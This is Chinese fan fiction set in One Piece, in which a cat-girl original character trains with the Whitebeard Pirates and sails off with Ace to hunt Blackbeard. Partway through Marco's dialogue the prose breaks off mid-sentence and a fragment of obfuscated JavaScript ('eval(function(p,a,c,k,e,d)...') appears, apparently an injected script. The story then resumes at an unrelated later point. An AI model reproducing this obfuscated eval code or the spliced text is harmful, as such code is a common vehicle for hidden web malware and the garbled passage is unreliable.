他的身影在方寸之地疾速移动,快得几乎留下残影。橘红色的火焰随心所欲地从他拳锋、肘尖、甚至周身喷薄而出,时而化作咆哮的火龙扑击,时而凝成坚实的炎壁防御,时而爆散成漫天火雨扰乱视线。他的脸上没有平日里的灿烂笑容,取而代之的是一种全神贯注的凌厉,眼神锐利如鹰,嘴角却似乎又噙着一丝享受战斗的、近乎狂气的弧度。汗水顺着他棱角分明的下颌线滑落,滴在甲板上瞬间蒸发成白汽。比斯塔的双刀舞动成一片水泼不进的银色光幕,剑风呼啸,与炽焰激烈碰撞,发出令人牙酸的金铁交鸣与能量湮灭的爆响。 这是力量的碰撞,是野性与技巧的共舞,充满了惊心动魄的美感。 小狸看得入了神,手指无意识地抠着粗糙的桅杆木纹,蓝色的猫瞳紧紧追随着那道火焰般的身影。她想起了在锈带那个肮脏的小巷,艾斯也是这样,如同一尊火焰战神骤然降临,用焚尽一切的炽热与力量,将她从绝望的深渊中一把拉起。 那么强大。那么……令人向往的温暖。 “想学吗?” 一个温和的、带着独特慵懒尾音的声音,忽然在她耳边很近的地方响起。 小狸吓得浑身一个激灵,差点原地跳起来,猛地转身,才发现马尔科不知何时悄无声息地站在了她身后,正推了推眼镜,镜片后的目光平静地看着她。 “马、马尔科先生……”小狸拍着胸口,惊魂未定。 “叫我马尔科就好。”不死鸟队长语气依旧平和,他侧头看了眼训练场上激战的两人,又转回来看着小狸,“艾斯那家伙,虽然平时总是一副单细胞热血笨蛋的样子,但战斗天赋和直觉,确实是我们之中最顶尖的那一档。你想学点防身的技巧吗?不是比斯塔那种华丽的剑术,而是更实用的一些东西。” 小狸犹豫了。她看着训练场上艾斯那充满力量感的身影,心中确实涌起一股渴望。但随即,那份根深蒂固的自我认知又浮了上来。她低下头,看着自己纤细的、甚至有些瘦骨嶙峋的手指,小声说:“我……我不知道我能学什么。我力气很小,跑得也不算最快……我不是战士。” “每个人都有自己的战斗方式。”马尔科意味深长地说,目光似乎能洞穿她内心的踌躇,“你的世界,教会了你在极端恶劣环境下生存下来的本能、警惕、观察力,还有坚韧。那本身就是一种力量,甚至可能是很多人不具备的力量。”他顿了顿,语气放缓,指了指厨房方向,“不过在那之前……萨奇好像在找你,今天的点心据说是特制的、加了双倍奶油的鱼形饼干,快凉了。” 食物的诱惑力是巨大的。小狸的眼睛瞬间亮了起来,暂时将那点烦恼和渴望抛到了脑后,对着马尔科匆匆点了点头,便小跑着朝香气四溢的厨房奔去。 坐在高高的桅杆横杆上,小狸小口小口地吃着萨奇塞给她的、奶香浓郁酥脆可口的鱼饼干,晃悠着双腿,望着下方一望无际、在阳光下闪烁着碎钻般光芒的平静海面。 微风拂面,带着海盐的清新。甲板上,船员们各司其职,一切井然有序,显得宁静而安稳。 但小狸知道,这份安宁只是表象。从大家偶尔的交谈中,从马尔科、艾斯甚至老爹偶尔流露出的郑重神色中,她逐渐明白,这片美丽辽阔的大海之下,潜藏着无数凶险。风暴、海兽、其他凶悍的海贼团、被称为“海军”的追捕者……危险可能在任何时候、以任何形式降临。 她不能再像上次在锈带被跟踪时那样,只能惊慌逃窜,最后无力地等待救援。她更不能每次都奢望艾斯像神明降临般,恰好出现在她最危难的时刻。 她不想永远当一个需要被小心翼翼保护起来的瓷娃娃,一个可能拖累大家的后腿,一个……负担。 这个念头一旦清晰起来,便如同种子落入沃土,迅速生根发芽。在莫比迪克号这个鼓励强大、珍视家人也要求家人能彼此守护的环境里,这份渴望变得越发强烈。 她想要力量。不一定是艾斯那样焚山煮海的烈焰,也不一定是比斯塔那样斩断钢铁的剑技。她想要的,是能够保护自己、不让他人担心的能力,是在关键时刻,或许也能为保护这个新家、保护艾斯和家人们,贡献一点点微光的力量。 很快,小狸下定了决心。 晚饭后的活动时间,甲板上灯火通明,气氛轻松。几位队长正聚在一起,一边喝着酒,一边闲聊着接下来的航线。小狸深吸一口气,抱着因为被她冷落而一直用大脑袋蹭她小腿、撒娇不止的柯达兹,鼓足勇气走了过去。 她的出现让闲聊暂停了片刻。在众人温和注视的目光下,小狸有些不好意思地抿了抿嘴唇,白皙的脸上泛起淡淡的红晕,但她抬起头,蓝色的猫瞳里闪烁着一种此前少见的、清晰的坚定。她的声音不大,却异常清晰,穿透了晚风: “请教我战斗吧。” 甲板上安静了一瞬。 她顿了顿,继续说出早已在心中排练过的话语:“我不想再像以前那样无能为力了。我想……拥有能够保护自己,甚至……或许有一天,也能帮上大家一点忙的力量。” 她的请求让众人都有些意外。艾斯手里的酒杯停在了半空,马尔科推眼镜的动作微微一顿,比斯塔捻着胡子的手停了下来,就连乔兹也转过他巨大的身躯,沉静的目光落在小狸身上。 随即,惊讶化为了了然,继而变成了毫不掩饰的欣慰与赞赏。在这个以力量为通行证之一的大海上,拥有变强的意愿,本身就是值得肯定的事,尤其是对于这个他们想要呵护的、看似脆弱的新家人。 艾斯看着眼前这个仿佛一夜之间褪去了一些稚气、眼神坚定的妹妹,心中涌起的情绪复杂难言。有心疼——她本不必背负这些;但更多的,是一种“吾家有女初长成”的骄傲与感慨。他重重地点头,第一个表态,声音铿锵:“好!没问题!我来教你!” 马尔科扶了扶眼镜,脸上露出温和的笑意,提出了更实际的建议:“有这份心是好事,yoi。不过小狸现在的身体状况,虽然比刚来时好了一些,但依然不适 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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她仰起小脸,下巴微微扬起,蓝色眼睛里带着点小得意和小小的期待,看向争论中的队长们:“我有这个!爪子!” 短暂的寂静。 然后,“噗——哈哈哈哈哈!” 不知是谁先没忍住,爽朗的笑声如同点燃的爆竹,瞬间在甲板上炸开,感染了每一个人。 “对呀!我们怎么忘了!小猫还有爪子呢!” “柯达兹打架的时候,好像用牙比较多?” “总不能真让小狸去咬人吧?哈哈哈哈哈!” 欢快善意的笑声笼罩了甲板,连柯达兹都好像听懂了似的,打了个响鼻,甩了甩尾巴。 在一片笑声中,反而是平日里最为沉默寡言的钻石乔兹,摸着下巴那坚硬如岩石的胡茬,露出了认真思考的神情。他低沉浑厚的声音响起,压过了笑声:“说不定……真的可以。” 众人的目光聚焦到他身上。 乔兹看向小狸,目光平静而带着一种磐石般的可靠:“不依赖复杂的武器,将自身天生的武器磨练到极致,配合果实能力的辅助强化……是一条可行的路。虽然会很辛苦。” 他顿了顿,“那,小狸,如果你确定了,最近就先跟着我吧。从最基础的体能和抗击打开始,同时尝试稳定你的果实能力对爪牙的强化。” 这个提议出乎意料,却又奇异地合理。乔兹本身走的就是绝对防御和强悍体魄的路子,他的教导或许不像艾斯那样灵巧,不像比斯塔那样华丽,但必定扎实、稳健,最适合打基础。 小狸眼睛一亮,用力点头:“嗯!我愿意!谢谢乔兹先生!” 于是,从这一天起,莫比迪克号宽阔的甲板上,在那些挥汗如雨的船员身影旁,多了一道更加娇小、却同样刻苦执着的身影。 训练是枯燥而艰苦的。在乔兹严格却耐心的指导下,小狸开始了基础的体能锻炼——慢跑、跳跃、核心力量训练。同时,她需要不断尝试调动那难以捉摸的“复制”之力。通过反复的、经常失败的摸索,她终于对自己那奇异的能力有了更清晰的认知: 她的能力,并非凭空创造火焰或其他元素,而是能够模仿、复制她所“接触”过的其他能力者的力量特性。这种“接触”不仅仅是物理接触,更接近于一种深刻的感知、理解和记忆。目前,她对艾斯火焰的复制相对最稳定,因为那是她最熟悉、感受最多次的力量。但复制出的火焰,强度远不如艾斯原版,消耗的精神和体力却很大,如同幼儿挥舞巨锤。 她也曾努力集中精神,试图模仿乔兹,让自己的手臂皮肤浮现出钻石般坚硬璀璨的光泽,结果只是在皮肤下闪过几丝微弱得几乎看不见的、类似金属的光晕,便宣告失败,还累得眼前发黑,气喘吁吁,被乔兹及时扶住。尝试模仿马尔科的青炎治疗能量更是不堪,只在掌心逼出了一小缕摇摇欲坠的青色火星,眨眼就熄灭了,连温热感都很微弱。 多次失败后,小狸有些沮丧,但也得出了一个初步结论:对于直接、大幅度改变自身形态或性质(如变成钻石、变成火焰元素)这类“超人系”或“自然系”的高阶应用,她的复制能力目前效果极差,消耗与成果完全不成正比。 但乔兹告诉她,这未必是坏事。力量不在于花样繁多,而在于精纯与适用。既然暂时无法大范围改变,那就将有限的力量,集中在一点上,而且,她有很多的时间去学习,未来还有无限的可能。 于是,在乔兹的引导下,小狸调整了方向。她不再好高骛远地试图复制完整的“钻石躯体”,而是将目标锁定在眼前:利用果实能力,稳定的将自己天生的爪牙进行强化。 这个过程同样艰难。需要她将那股难以驾驭的“复制”能量,从身体深处小心翼翼地引导出来,然后极其精准、稳定地灌注到十指的指甲上。开始时,能量经常中途溃散,或者分布不均,导致指甲只是微微发热,硬度提升有限。 但小狸有股倔劲。一次不行就十次,十次不行就百次。训练结束后,别人在休息,她还在对着木桩一遍遍尝试,指尖因为反复的能量冲击和物理摩擦而变得红肿,甚至偶尔会劈裂渗血,被马尔科发现后强制涂药包扎。 艾斯看在眼里,急在心里。他见过小狸哭泣的样子,见过她蜷缩着害怕的样子,如今看着她咬牙坚持、手指红肿却不肯休息的模样,心里像打翻了五味瓶。他更希望她能无忧无虑地笑着,被他保护在身后。这条体术结合能力强化的路,看起来让她吃了不少苦。 但每次他想开口劝说,看到小狸那双蓝色眼睛里日益增长的专注和倔强,看到她在失败后抿紧嘴唇、一言不发继续尝试的样子,话又咽了回去。他尊重她的选择。这是她想要走的路。 渐渐地,努力的汗水浇灌出了微小的成果。 虽然离“钻石”般的硬度还差得远,但小狸已经能比较稳定地将复制果实的力量集中在十指指甲上,虽然目前主要模拟一种“硬化”或“锋锐”的概念。强化后的指甲,颜色变得更深,接近亮银色,质地明显更加坚硬、锐利,边缘泛着类似金属的冷光。全力挥动下,已经能在训练用的硬木桩上留下较深的划痕,对付普通的绳索布料更是轻松。 这距离她想象中的“战斗力”还有很远,但确确实实是迈出了第一步。是她依靠自己的决心和汗水,获得的一点点、实实在在的进步。 甲板上的灯火下,少女的身影依旧纤细,但挥动的手臂已带上了些许力量感,养出来的肉又退了些,变成了一层薄薄的肌肉,指尖偶尔闪过的幽暗光泽,预示着她正朝着自己选择的道路,一步步踏实地前行。 而在她身后,火焰般的兄长、磐石般的导师、以及所有默默关注着她的家人们,都在用各自的方式,为她照亮前路,或成为她最坚实的后盾。 新生的爪牙虽显稚嫩,心火却已悄然燃起。 22. 守望与远航 平静的海面像一块巨大的、缓慢起伏的深蓝色绸缎,在日光下闪烁着细碎的鳞光。然而,在这份看似永恒的宁静之下,暗流从未停止涌动,风暴总在酝酿,而某些必须解决的宿怨,也如同深海沉积的火山,终有爆发的一日。 艾斯并没有,也绝不可能忘记自己的使命。 黑胡子马歇尔.蒂奇——那个曾经名为同伴的背叛者,其犯下的罪行如同淬毒的匕首,深深扎在白胡子海贼团的心脏上。蓄谋已久的叛逃,以及对萨奇悍然出手使其重伤那不可饶恕的行径……这一切,都必须用海贼的方式,用家族的家法,来做一个彻底的了断。将蒂奇抓回来,带到老爹面前,这是艾斯作为二番队队长、作为被伤害萨奇的兄弟、作为一个海贼的尊严与责任。 这段时间,关于黑胡子行踪的零星消息,如同被海风吹散的破碎叶片,断断续续地飘到莫比迪克号上。有传闻说,一伙自称“黑胡子海贼团”的人袭击并摧毁了冬岛磁鼓王国,手段残忍。而最近,世界经济新闻社的报纸上,也开始频繁出现另一个新人海贼团的名字和那张笑得无比嚣张、没心没肺的通缉令照片——草帽小子,蒙奇·D·路飞。 每次看到那份通缉令,艾斯总是会停下手里的事情,拿着报纸端详很久。他的嘴角会不由自主地上扬,勾勒出一个混合着无奈、宠溺和无比自豪的复杂笑容,黑曜石般的眼眸里却同时闪烁着清晰的担忧。 “路飞那小子……”他会低声自语,手指轻轻拂过通缉令上弟弟那张橡胶脸,“已经出海了啊,还搞得这么热闹。” 骄傲是理所当然的,他的弟弟生来就该如此耀眼;但担忧也如影随形——那个一根筋的橡胶笨蛋,在这片危机四伏的大海上,真的能一路平安吗? 看着路飞一路高歌猛进、搅动风云的报道,艾斯清楚地知道,自己再次扬帆出发、追捕蒂奇的日子,已经像逐渐迫近的海平线,越来越清晰,无法再拖延。 不过这一次,当他结束瞭望或训练,站在船舷边,目光落在甲板那个正对着西沉落日、全神贯注地练习控制掌心那一小簇橘红色火苗大小的纤细身影时,心中翻涌的不再仅仅是责任和怒火,还有一种沉甸甸的、温柔的牵绊。 夕阳的余晖将小狸的身影镀上一层暖金色的轮廓,她微微蹙着眉,鼻尖沁出细小的汗珠,正努力让掌心的火焰按照她的意念缩小、放大、改变形状。那专注的侧脸,那不服输的眼神,让艾斯脸上不自觉地露出温柔的笑意。 一个决定,在他心中清晰地浮现,如同海图上的航标。 他迈开脚步,走到小狸身边,海风吹动他额前的碎发和敞开的衬衫衣角。 “小狸。” 他的声音平静,却带着一种不容置疑的坚定。 “嗯?怎么啦?” 小狸闻声,立刻熄灭掌心的火焰,抬起手背擦了擦额角的汗,仰起小脸看他,蓝色的猫瞳在夕照下清澈透亮。 艾斯注视着她的眼睛,没有迂回,直接说道:“我可能……很快就要再次出发,去追捕蒂奇了。” 空气似乎凝滞了一瞬。 小狸头顶那双黑色的猫耳,像最灵敏的雷达接收到关键信号,瞬间笔直地竖立起来,耳尖警惕地转向艾斯。蓝色的眼睛里飞快地掠过一丝猝不及防的紧张和担忧,如同被石子惊扰的湖面。但这份情绪仅仅存在了不到一秒,就被一种更深沉、更决绝的坚定迅速覆盖、取代。那是一种近乎本能的反应,源自她跨越世界寻找他的执着,也源自这些日子在莫比迪克号上被浸染的“家人同舟共济”的信条。 她几乎没有丝毫的犹豫,甚至没有去思考危险与否,声音清晰而有力地响起:“我要一起去!” 艾斯看着她眼中不容动摇的坚定光芒,心里没有丝毫意外,反而涌起一阵暖流。他知道劝阻是徒劳的,而且,从他得知她义无反顾离开锈带的那一刻起,或许就从未真正想过要再次将她独自留在某个“安全”的港湾。他笑着,伸手用力揉了揉她被汗水微微濡湿的头发,将那柔软的发丝揉得有些凌乱。 “啊,我知道。” 他的笑声爽朗,带着了然和纵容,“所以啊,要抓紧这最后的时间,变得更强一点才行哦?追踪和战斗的海上,可比在莫比迪克号上要危险得多” “嗯!” 小狸用力地点头,仿佛要将这个承诺刻进骨子里。身后的黑色长尾巴因为混合着紧张、期待和一种即将与兄长并肩而行的激动,不由自主地微微晃动着,尾尖在空中划出小小的弧线。 远方的海平线吞噬了最后一缕日光,天空从瑰丽的橘红渐变为深邃的紫蓝,星辰开始在天鹅绒般的夜幕上显现。莫比迪克号沐浴在宁静的暮色与初上的灯火中。 小狸独自趴在船舷处,下巴搁在交叠的手臂上,望着波光粼粼的漆黑海面出神。海风吹拂着她微卷的发梢和柔软的猫耳。忽然,她像是想到了什么,偷偷地左右张望了一下,见附近暂时没人注意,便悄悄地摊开了左手手掌。 她闭上眼睛,集中精神,感受着体内那团与艾斯同源却微弱得多的火焰力量。渐渐地,一小簇橘红色的、温暖跃动的火苗在她掌心“噗”地一声点燃,稳定地燃烧着。 然后,她开始尝试更精细的操作。这不是战斗训练,更像是一种笨拙却满含心意的小游戏。她全神贯注,意念微动,掌心的火焰随着她的心念开始缓缓拉伸、变形,如同被无形的手指揉捏的温暖胶泥。它扭动着,逐渐形成一个大概的、歪歪扭扭的人形轮廓——有短短的四肢,一个圆圆的脑袋,最顶上还努力凸起一小块,试图模拟帽子的形状。最后,在那张模糊的“脸”上,火焰跃动出两个上翘的弧线,形成一个简单却灿烂无比的“笑容”。 一个迷你版的、火焰构成的、戴着帽子笑得傻气的“艾斯”,就在她掌心活泼地跳动着。 看着掌心那个小小的、温暖的、属于自己的“创造物”,小狸的嘴角无法控制地向上扬起,露出一个同样傻乎乎、带着点小得意的甜蜜笑容,眼睛弯成了月牙。 然而,她这份过于沉浸的傻笑和掌心那显眼的火焰小人,很快就被不远处路过的船员发现了。 “哦呀?小狸,在玩什么呢?” 带着笑意的询问声传来。 小狸吓得浑身一激灵,像是做坏事被当场抓包的孩子,“啊!”地轻呼一声,条件反射般猛地攥紧了手掌!掌心的火焰小人瞬间被她捏碎、熄灭,只剩下一缕青烟和残留的温热。 她的脸“腾”地一下红透了,从脸颊一路蔓延到耳根和脖颈,仿佛能滴出血来。她手足无措地站起来,眼神慌乱地四处飘忽,支支吾吾地试图掩饰:“没、没什么!我在练习……控制火焰温度!对,温度!” 边说边下意识地往甲板中央、那道如山岳般稳坐的身影后面缩去,仿佛那里是世界上最安全的避风港。最后甚至直接“噗”地变回小黑猫,将自己毛茸茸的小身体严严实实地藏在白胡子巨大的座椅阴影里,只露出一双写满“看不见我”的、窘迫的蓝眼睛。 她这欲盖弥彰的可爱模样,顿时引来了周围船员们善意而欢快的哄笑声,连白胡子都发出了低沉愉悦的“咕啦啦啦”的笑声,用指背轻轻蹭了蹭躲在他脚边的小黑猫的脑袋。 --- 然而,愉快的插曲过后,现实的议题很快被摆上了台面。当艾斯在晚餐时,将自己决定带小狸一同出发追捕蒂奇的计划随口说出时,反应最大的不是别人,正是曾被蒂奇重伤的当事人——萨奇。 “什——么——?!你说你准备带小狸一起去!?!” 萨奇震惊的大嗓门如同平地惊雷,瞬间压过了甲板上的其他声响,吸引了所有人的注意力。他“哐当”一声放下手里巨大的肉骨,瞪大了眼睛,脸上写满了“你是不是疯了”的表情。 艾斯被他吼得耳朵嗡嗡作响,掏了掏耳朵,一副嫌他吵到的样子,语气却依然随意:“对啊,就是准备带着小狸一起去抓捕蒂奇,怎么了?” “还怎么了?!”萨奇简直要跳起来,指着艾斯,又看看旁边被这突然的严肃气氛弄得有些无措正在啃鱼肉的小狸,“你能不能靠谱一点?!这种大事是能随随便便就说出口的吗?想一出是一出!你怎么会觉得带着小狸在海上四处奔波、追踪那么危险的叛徒,会是一件轻松好玩的事情?!她还这么小!这么瘦!” 萨奇的担忧溢于言表,那不仅仅是出于对蒂奇实力的忌惮,更有一种对幼妹本能的爱护。 艾斯却依旧是一副大大咧咧的样子,他站起身,走到萨奇身边,用力拍了拍对方结实的肩膀,脸上扬起他那标志性的、充满自信的灿烂笑容,甚至骄傲地蹭了蹭鼻子:“安心啦,萨奇!我很强的嘛!” “强你个头啊!臭小子!”萨奇没好气地捶了他一拳,但力道并不重,眉头紧紧锁着,“蒂奇那个混蛋……我跟你说过多少次了,他绝对不像表面看起来那么简单!他隐藏了那么久,耐心、狠辣、对时机的把握都超越常人!他敢对同伴下手,就证明他是个毫无底线的疯子!你跟这样的家伙对上,还带着小狸,我怎么能放心?!” 艾斯脸上的笑容稍微收敛了一些,他转过身,望向船舷外那片在月光下泛着幽暗光泽的无垠大海,海风吹动他的黑发。他的声音依旧轻松,却多了一份沉静的力量:“我知道蒂奇不好对付。但是啊,萨奇,” 他顿了顿,回过头,目光扫过萨奇,又落在正紧张地望着他们的小狸身上,眼神变得格外柔和:“我想带小狸出去看看。看看这片大海不同的岛屿,尝尝没吃过的美食,见见没见过的风景。她这个年纪的女孩子,不应该总是待在船上,或者只见过……那些糟糕的东西。她应该活得自由一点,开心一点,肆意一点。” 他抬起手,指尖“噗”地燃起一簇稳定的橘红色火苗,在夜色中跳跃着温暖的光。 “而且啊,”他扣了扣头上的牛仔帽帽檐,火焰映亮了他眼中燃烧的斗志和不容动摇的决心,“这次不会再被他偷袭得手了。我一定会把蒂奇那混蛋抓回来。我保证。” 萨奇看着艾斯在火光映照下格外认真的侧脸,所有到了嘴边的劝阻和担忧,忽然就有些说不出口了。他想说自己的伤早已痊愈,不必艾斯如此执着;他想说蒂奇心机深沉实力难测,此行凶险万分;他想说小狸刚刚开始适应这里,或许不该这么快卷入这种危险的追捕……可是,他比谁都清楚,这是白胡子海贼团的规矩,是维系这个海上家族铁一般的律法与尊严。即便他个人或许已不想继续追究,但艾斯的愤怒、老爹的意志,都不会允许这件事就这样轻飘飘地揭过。 背叛者,必须付出代价。 “……真是,麻烦啊。”萨奇最终只是长长地、无奈地叹了口气,烦躁地抓了抓自己乱糟糟的头发。他知道,艾斯一旦下定决心,尤其是牵扯到家人和原则的事情,十头海王类都拉不回来。 他一边在心里嘀咕着,一边顺手捞过因为刚才紧张气氛而悄悄蹭过来、似乎想缓和局面的小猫形态的小狸,将她抱在怀里,像揉面团一样揉了揉她毛茸茸的脑袋和耳朵,力道之大,让小黑猫的耳朵都被压得贴在了头皮上。 “小狸呀,”萨奇的语气忽然变得语重心长,甚至带上了一点老妈子似的唠叨,与他彪悍的外表格格不入,“就算跟着艾斯那臭小子去了外面,也一定要记得好好吃饭,按时睡觉,知道吗?不过要记住——”他挺起胸膛,一脸骄傲,“我做的饭菜,肯定是全世界最好吃的!外面那些野路子厨子根本没法比!” 旁边正在喝酒的那谬尔听到这里,差点一口酒喷出来,拍着大腿哈哈大笑:“哈哈哈哈!萨奇!你这语气!你是老妈吗?!” 萨奇被笑得有点恼,动作更加夸张地摁着小狸的脑袋揉啊揉,仿佛要把自己的厨艺信念通过这种方式灌输进去。不过最近小狸早已被萨奇的美食彻底“收买”,也习惯了他这种夸张又直接的表达亲密和关心的方式,只是乖乖地窝在他怀里,发出细微的呼噜声,毫无反抗的心思。 萨奇还故意做作地摆出一副泫然欲泣的表情,捏着嗓子:“要听哥哥的话,不要乱跑,注意安全……妈妈等你回来哦~妈妈会做好多好多好吃的等你~” “噗——!!!” “哈哈哈哈哈萨奇你够了!” “救命!我要笑死了!老妈萨奇!” 甲板上瞬间笑闹成一团,刚才那点严肃紧张的气氛被冲得烟消云散。小狸被萨奇逗得在怀里扭来扭去,最后也忍不住“呵呵”地笑了起来,虽然被揉得头晕眼花,但心里暖得一塌糊涂。 --- 出发的日子,在紧张的备战与温馨的饯别中,悄然到来。 艾斯的行李向来精简,几件换洗衣物,一些贝利和记录指针,便是全部。他的专属小 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“艾斯就拜托你了,小狸!” 其他船员也纷纷笑着附和。 没有人再去强调小狸需要被照顾、旅途多么危险。他们选择相信,相信这个在他们见证下,从惶恐不安到逐渐坚定、从瘦弱苍白到眼中开始有了光的女孩,已经拥有了与兄长同行的勇气和初步的能力。他们给予的,是家人毫无保留的支持、信任,以及成为她坚强后盾的承诺。 因为,他们是她的家人。 “那!我们走啦!” 艾斯和小狸并肩站在微微摇晃的“前锋号”上。小艇随着海浪轻轻起伏,像一只急于挣脱港湾束缚、奔向广阔海域的银色海豚。小狸用力地、高高地挥舞着手臂,蓝色的眼睛映照着莫比迪克号上每一张熟悉的笑脸,仿佛要将这一幕深深印刻在心底。 “一路顺风啊!艾斯!小狸!” “注意安全!打不过就跑!不丢人!” “早点回来!老爹等你们开宴会!” “记得写信!不,打电话虫!” 告别的声音此起彼伏,夹杂着口哨和欢呼。艾斯笑着朝众人挥了挥帽子,然后转身,手掌按在“前锋号”特制的驱动装置上。 “轰——!” 橘红色的火焰骤然从船尾喷涌而出,推动着小艇如同离弦之箭,瞬间破开平静的海面,在蔚蓝的画布上划出一道长长的、逐渐远去的白色航迹。 风,瞬间变得猛烈而自由,迎面扑来,肆意地抚弄着小狸飞扬的黑发和耳畔的绒毛,也将她宽大的新外套吹得猎猎作响。她站在艾斯身旁,紧紧抓住船舷以保持平衡,眼睛却亮得惊人,里面盛满了对未知旅程的兴奋和新奇。在这里的每一天,都是她过去十六年人生中从未体验过的瑰丽冒险,而现在,冒险即将驶向更远的地方! “我们要去哪里?!” 她迎着风,大声问艾斯,声音里充满雀跃。 艾斯一边操控着方向,一边回头对她露出一个爽朗的笑容:“磁鼓岛!听说是个常年积雪的冬岛,超级冷的!怕不怕?” “没关系!” 小狸立刻摇头,拍了拍自己身上厚实暖和的毛绒外套,又低头在随身的包里翻找,很快扯出一件折叠整齐的、看起来很厚实的黑色男士大衣,献宝似的举起来,“你看!米娅姐姐给我准备了这个!还有这件,我记得是丢斯先生特意为你准备的大衣!我都带全了!” 她拍了拍胸口,一脸“我办事你放心”的小得意。然后,她仰起脸,看着艾斯,笑容灿烂得仿佛能驱散任何严寒,语气是全心全意的信赖: “而且,艾斯哥哥身边,一直都暖乎乎的,像个火炉!我完全——不会冷的!” 狭小的船舱为了流线型和速度,空间确实有限。两人并肩而坐,肩膀几乎挨着肩膀,膝盖也时不时会碰到一起。海上的寒气开始渗透进来,小狸说着不怕冷,却还是下意识地朝着热源靠近。她眼珠转了转,忽然“噗”地变回通体漆黑的小猫,轻盈地跳上艾斯的腿,理直气壮地咕哝着:“这样地方就多啦!” 艾斯失笑,纵容地任由小黑猫在自己腿上踩踏几圈,寻找最舒适的位置,最后蜷缩成一团,将脑袋和爪子都埋进他温暖的小腹处,只露出一个毛茸茸的背脊和微微晃动的尾巴尖。 新鲜感和兴奋感随着航行时间的拉长而逐渐消退,规律的火焰驱动声和海浪声变成了催眠的白噪音。温暖的气息和熟悉的心跳声包裹着她,小黑猫很快就抵挡不住席卷而来的困意,眼皮开始打架,喉咙里发出细微的、满足的呼噜声,渐渐沉入梦乡。 只留下艾斯一个人,在越来越深的夜色和逐渐凛冽的海风中,一手稳定地操控着前锋号的方向,另一手则无意识地、极其轻柔地抚摸着腿上那团柔软温暖的小生命,感受着她平稳的呼吸和信任的依偎。 他也曾有过犹豫和挣扎。带着她去追捕蒂奇,无疑是增加了一份责任和风险。那个叛徒阴险狡诈,实力莫测,前路注定充满未知的凶险。如果不带她……这个念头刚冒出来就被他自己掐灭了。他知道,如果他敢独自离开,这只已经将他视为全部依赖和归宿的小猫,一定会用最委屈、最执着的眼神看着他,会哭,会闹,会用尽一切方式想要跟上。 他不想再看到她那种被遗弃般的眼神。 他想看她更生动地活着,像路飞那样自由自在地大笑,去见识这个广阔世界的精彩与美丽,而不是被他以“保护”为名,小心翼翼地圈养在自以为安全的羽翼之下,重复着过去那种虽然安全却孤寂的生活。 而且——艾斯低下头,看着怀中安睡的小猫,指尖燃起一簇温暖而不灼人的小火苗,轻轻为她驱散夜寒,眼神里燃烧着不容动摇的自信与守护的火焰。 他可是波特卡斯·D·艾斯。 白胡子海贼团二番队队长,火拳艾斯。 他发誓,一定会保护好他的妹妹。 永远。 前锋号载着一大一小两道身影,时间紧迫,艾斯毫不犹豫的选择直接横穿无风带,鱼人岛的航线过于危险,玛丽乔亚更是根本没有考虑过,火焰驱动的小艇完全无需担心无风带诡异的天气,艾斯本人又完全不担心可能出现的海王类,它径直冲破夜色,向着冰雪覆盖的磁鼓王国,向着未知的宿命与并行的旅途,坚定不移地驶去。 23. 重逢!阿拉巴斯坦 火焰小艇如一颗逆行的流星,在蔚蓝海面上犁开一道沸腾的白浪,将罗贝尔镇远远抛在身后,直至它变成天际线上一枚模糊的灰点。咸腥的海风呼啸着灌满船舱,吹得人衣袂猎猎作响。 “噗哈——!” 小狸的脑袋从罩衫里钻出来。她被风吹得眯起了眼,几缕黑色发丝黏在汗湿的额角,她顾不得整理,第一眼就锁定了船头那个迎风而立、笑得见牙不见眼的罪魁祸首。艾斯穿着那身黑色风衣,衣摆在风中张狂地飞舞,他回头冲她咧嘴一笑,那笑容在阳光下灿烂得毫无阴霾,也……毫无悔意。 “哥——!!!” 少女的怒吼差点被风撕碎,但她还是铆足了力气,让每一个字都带着控诉的力道砸过去。 “你又吃霸王餐了——!!!” 艾斯闻言,笑声更响亮了,混着海风,爽朗又理直气壮。他变戏法似的从怀里掏出个油纸包,打开,露出里面挤得变了形的、粉白相间的樱花馒头。他拿起一个,毫不犹豫地塞进嘴里,腮帮子立刻鼓囊起来,一边费力咀嚼,一边含糊不清地辩解:“唔……没办法嘛,钱花光了嘛。小狸你看,这个,樱花馒头,特色哦,尝尝?” 说着,还把被咬了一口的馒头往她这边递了递,粉色的樱花馅料露出来,甜腻的香气混着他身上火焰般干燥的气息飘过来。 小狸警惕地往后缩了缩,双手下意识地捂紧了腰间那个小布包——里面沉甸甸的,是马尔科先生上船前特意塞给她的、属于艾斯(暂时由她保管)的钱袋。她现在全明白了!怪不得马尔科先生会用那种“拯救世界”般的郑重表情把钱包交托给她,还意味深长地拍了拍她的肩膀。正常人谁会买一大堆除了甜腻没什么特别的馒头,然后因为吃饭没钱付账,就带着妹妹上演一出“大逃亡”啊!她不过是早上贪恋了会儿被窝里残留的温暖,迷迷糊糊间就被一只温热的大手从床上捞起,裹上罩衫,像打包行李似的带出了门,等她彻底清醒,人已经在快艇上吹冷风了! “真是的——!” 小狸气得尾巴上的毛都炸开了些,黑色的长尾在狭小的船舱底部“啪啪”地用力拍打,像条暴躁的鞭子,“还说什么‘会等路飞十天’!装什么酷啊!结果转头就带着妹妹逃单!” 她冲艾斯龇了龇牙,做了个自认为超凶的鬼脸,蓝色的猫瞳里怒火跳跃,却掩不住深处那丝对哥哥这种我行我素行为的、早已习惯的无奈。 艾斯被她逗乐了,三两口咽下馒头,手上的油渍随意在风衣上蹭了蹭,便伸长手臂过来,精准地捧住了她气鼓鼓的脸颊。他的手掌很大,指腹带着常年握拳和接触火焰留下的粗糙薄茧,温度总是偏高一些,此刻焐着她被海风吹得微凉的脸蛋,那热度几乎有些烫人。 “唔……放手啦!” 小狸抗议,声音被挤压得变了调,两颊的软肉被他揉弄得挤在一起,嘴巴嘟了起来。挣扎间脸上飞起两团更明显的红晕,不知是刚才被拉着奔跑的余热,还是此刻被他掌心温度蒸腾出来的。 艾斯玩心大起,非但没放,还揉得更起劲了些,像在揉一团柔软的面团。小狸挣脱不开,情急之下,脑袋一偏,张嘴就朝他箍着自己脸颊的虎口咬去——没用什么力,更像小动物不满的啃啮,尖尖的犬齿蹭过皮肤,留下一点湿漉漉的、痒痒的触感。 “哇哦,小猫咬人啦!” 艾斯夸张地叫了一声,眼里却全是笑意,松开了手,转而想去捏她的耳朵。小狸敏捷地后仰躲开,尾巴却被他趁机捞住尾尖,轻轻拽了一下。 “呀!” 